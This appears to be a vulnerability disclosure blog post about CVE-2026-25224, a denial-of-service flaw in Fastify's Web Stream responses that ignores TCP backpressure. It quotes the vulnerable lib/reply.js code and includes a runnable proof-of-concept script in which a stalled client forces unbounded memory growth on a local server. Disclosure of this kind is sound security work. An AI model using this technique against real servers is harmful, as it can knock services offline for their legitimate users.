CVE-2026-25224: Denial of Service via Unbounded Memory Allocation in Fastify
Published on May 12, 2026
OnlyBugs
Lead researcher and founder of OnlyBugs.
Critical Vulnerability in Fastify Web Streams
A technical deep-dive into CVE-2026-25224: How ignoring backpressure leads to memory exhaustion and server crashes.
Executive Summary
I have discovered a High-Severity Denial of Service (DoS) vulnerability in Fastify v5.7.0 and later. The issue lies in the sendWebStream function within lib/reply.js, which was recently introduced to support native Web Streams.
The implementation fails to handle TCP backpressure correctly. When a ReadableStream is sent as a response, Fastify continuously pulls data from the stream producer and writes it to the response object, while ignoring the return value of res.write().
Technical Analysis
In a healthy system, res.write() returns false when the internal buffer is full, signaling that the producer should pause (backpressure). Because Fastify ignores this signal and immediately schedules the next read, a fast producer connected to a slow or stalled client will fill the server's memory indefinitely.
// lib/reply.js
function onRead (result) {
if (result.done) {
return
}
// VULNERABILITY: Return value of res.write is ignored!
res.write(result.value)
// The next read happens immediately, regardless of buffer state
reader.read().then(onRead, onReadError)
}
The Exploit Scenario
An attacker can exploit this by initiating a request to an endpoint that returns a Web Stream and simply not reading the response. This forces the server to buffer the entire stream in memory, leading to an Out-Of-Memory (OOM) crash.
Proof of Concept (PoC)
To reproduce this vulnerability, create a Fastify server (v5.7.0+) and run the following script:
```javascript 'use strict' const Fastify = require('fastify') const { ReadableStream } = require('node:stream/web') const { connect } = require('node:net') const fastify = Fastify({ logger: false }) fastify.get('/stream', (req, reply) => { const stream = new ReadableStream({ pull(controller) { // Push 1MB chunks indefinitely controller.enqueue(Buffer.alloc(1024 * 1024, 'a')) const usage = process.memoryUsage().rss / 1024 / 1024 console.log(`[Server] Memory usage: ${usage.toFixed(2)} MB`) } }) return reply.send(stream) }) async function run() { const address = await fastify.listen({ port: 0 }) const port = fastify.server.address().port console.log(`Server listening on port ${port}`) const client = connect(port, 'localhost', () => { client.write('GET /stream HTTP/1.1\\r\\nHost: localhost\\r\\nConnection: close\\r\\n\\r\\n') }) // Malicious client stops reading here, triggering backpressure } run() ```Impact
Denial of Service (DoS): A single attacker can crash the Fastify server by targeting any endpoint that returns a Web Stream. This shuts down the service for all legitimate users. No authentication or special privileges are required.
References & Official Advisories
- 🚀 Official Advisory: GHSA-mrq3-vjjr-p77c
- 🛡️ CVE ID: CVE-2026-25224